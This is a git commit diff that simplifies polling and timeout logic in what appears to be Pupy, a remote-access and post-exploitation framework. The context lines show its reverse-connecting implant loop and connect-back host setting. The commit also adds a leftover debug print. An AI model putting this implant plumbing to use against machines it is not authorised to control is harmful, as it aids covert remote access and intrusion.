Simplify polling

This commit is contained in:
Oleksii Shevchuk 2016-08-26 12:36:32 +03:00
parent 3423834403
commit b20ec87c70
3 changed files with 16 additions and 30 deletions

View File

@ -80,8 +80,9 @@ class InteractiveShell(PupyModule):
try:
tty.setraw(fd)
buf=b''
print self.client.conn.__dict__
while True:
r, w, x = select.select([sys.stdin], [], [], 0)
r, w, x = select.select([sys.stdin], [], [], 0.01)
if sys.stdin in r:
ch = os.read(fd, 1)
buf += ch
@ -90,8 +91,6 @@ class InteractiveShell(PupyModule):
buf=b''
elif is_closed.is_set():
break
else:
time.sleep(0.01)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
pupylib.PupySignalHandler.set_signal_winch(old_handler)

View File

@ -234,17 +234,13 @@ class PupyTCPServer(ThreadPoolServer):
h=addrinfo[0]
p=addrinfo[1]
config = dict(self.protocol_config, credentials=credentials, connid="%s:%d"%(h, p))
def check_timeout(event, cb, timeout=60):
start_time=time.time()
while True:
if time.time()-start_time>timeout:
if not event.is_set():
logging.error("timeout occured !")
cb()
break
elif event.is_set():
break
time.sleep(0.5)
time.sleep(timeout)
if not event.is_set():
logging.error("timeout occured !")
cb()
stream=self.stream_class(sock, self.transport_class, self.transport_kwargs)
event=multiprocessing.Event()
@ -257,8 +253,6 @@ class PupyTCPServer(ThreadPoolServer):
event.set()
return c
class PupyUDPServer(object):
def __init__(self, service, **kwargs):
if not "stream" in kwargs:

View File

@ -146,8 +146,6 @@ def get_next_wait(attempt):
else:
return random.randint(150,300)/10.0
def set_connect_back_host(HOST):
import pupy
pupy.get_connect_back_host=(lambda: HOST)
@ -212,17 +210,13 @@ def rpyc_loop(launcher):
s.start()
else: # connect payload
stream=ret
def check_timeout(event, cb, timeout=60):
start_time=time.time()
while True:
if time.time()-start_time>timeout:
if not event.is_set():
logging.error("timeout occured !")
cb()
break
elif event.is_set():
break
time.sleep(0.5)
time.sleep(timeout)
if not event.is_set():
logging.error("timeout occured !")
cb()
event=threading.Event()
t=threading.Thread(target=check_timeout, args=(event, stream.close))
t.daemon=True
@ -231,9 +225,8 @@ def rpyc_loop(launcher):
conn=rpyc.utils.factory.connect_stream(stream, ReverseSlaveService, {})
finally:
event.set()
while not stream.closed:
attempt=0
conn.serve(0.01)
attempt=0
conn.serve_all()
except KeyboardInterrupt:
raise
except EOFError: